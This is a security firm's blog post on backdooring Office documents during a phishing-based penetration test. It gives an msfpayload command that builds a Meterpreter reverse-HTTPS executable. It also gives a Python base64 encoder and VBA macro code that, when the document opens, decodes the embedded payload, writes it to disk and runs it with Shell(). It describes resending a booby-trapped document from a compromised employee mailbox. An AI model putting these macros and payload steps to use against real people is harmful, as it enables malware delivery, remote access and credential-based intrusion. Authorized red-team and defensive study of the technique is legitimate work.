Backdooring Office Documents

At Silent Break Security, our intention, purpose, and mission is to make penetration tests more sophisticated, targeted, and realistic. Companies hire us so they can “practice” their network defenses against attacks. And what good is practice if you’re not doing it correctly? The “doing it correctly” part is on us. On a recent engagement, we were targeting end users using a custom spear phishing campaign to get their domain credentials. The spear phishing campaign finished with great results, but the scope didn’t end there. What can we do with domain creds? Our first (and probably most obvious) choice was to check the users email. It’s usually pretty easy to find a company’s Outlook Web Access or email server. You can use a variety of tools to brute force DNS lookups…or if you’re feeling lucky just try So now we have access to an employee’s email, but how does that get us closer to internal network access? Well, our strategy was to rummage through the user’s email, find a recent Office document that had been passed around in a few emails, and resend it to other employees with an embedded backdoor.

Before backdooring the office document, we need to prep our payload. We have a custom stage 1 backdoor that we lay down, but I suppose most probably use Meterpreter. The problem with Meterpreter is effectively evading AVs and potential egress issues, but that’s outside the scope of this post. Use msfpayload or msfvenom, generate a Meterpreter shell, and let’s get started. Below is the command that we used for the purpose of this example. It’s just the standard msfpayload | msfencode, outputting to an EXE.

msfpayload windows/meterpreter/reverse_https LHOST= LPORT=443 R | msfencode -t exe -o /root/Desktop/msf.exe

To embed the binary inside the Office document, we’ll have to Base64 encode it. There are a lot of ways to do this. We used a simple Python script to convert the backdoor to Base64. Here’s a snippit of Python code that should do the trick.

if os.path.isfile(sys.argv[1]): todo = open(sys.argv[1], 'rb').read()
else: sys.exit(0)

print "[+] Encoding %d bytes" % (len(todo), )
b64 = todo.encode("base64")

print "[+] Encoded data is %d bytes" % (len(b64), )
f = open("base64_output.txt", 'w')
print "[+] Done!"

So, now that we have a Meterpreter payload in Base64 format, we need to embed it in an Office document. If you don’t have the Developer menu at the top in Word or Excel, you’ll need to add it by following these directions. After you’ve added it, click on Visual Basic within the Developer menu. On the left, you can start creating macros by double clicking “ThisDocument” (for Word) or “This Workbook” (for Excel). Before we get too far in writing the macro, let’s go back and convert our Base64 encoded payload to VB. Notepad++ is great for this. Create a macro within Notepad++ and quickly get your payload to look like the following block of text. Basically, we’re adding var1 = var1 & “TVqQ…” to every line.

Dim var1
var1 = var1 & "AAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v"
var1 = var1 & "ZGUuDQ0KJAAAAAAAAADmaQwpoghieqIIYnqiCGJ6zX7JepIIYnrNfvx6tAhies1+yHrcCGJ6oghj"

Back to the Visual Basic Editor in Office, you can now copy and paste the entire payload into a function named “Private Sub Document_Open()” (for Word) or “Private Sub Workbook_Open” (for Excel). Paste the payload within the function and add “End Sub” afterwards to close the function. The two functions below are what do the magic.  The function decodeBase64(base64) takes the Base64 encoded string and converts it to binary. The “writeBytes(file, bytes)” function takes the binary output and writes it to a file.

Private Function decodeBase64(base64)
  Dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  ' Set encoded String, get bytes
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
End Function

Private Sub writeBytes(file, bytes)
  Dim binaryStream
  Set binaryStream = CreateObject("ADODB.Stream")
  binaryStream.Type = TypeBinary
  'Open the stream and write binary data
  binaryStream.Write bytes
  'Save binary data to disk
  binaryStream.SaveToFile file, ForWriting
End Sub

The hard part is done. All that is left is calling those two functions with the required parameters, which I’ll leave as homework.  After that is complete, you can execute the file that the “writeBytes()” function just created by calling the “Shell()” VB function on the file. Here’s an example. Easy, right?

Dim retVal
retVal = Shell(outFile, 1)

You might also need to add the following to the very top of the macro.

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

In the end the engagement and the attack strategy were a success. After emailing the document out to 10 different employees, one user opened and enabled the Office macro…and one user was all it took.

Is your organization prepared for a ransomware attack? Explore our Ransomware Attack Simulation service.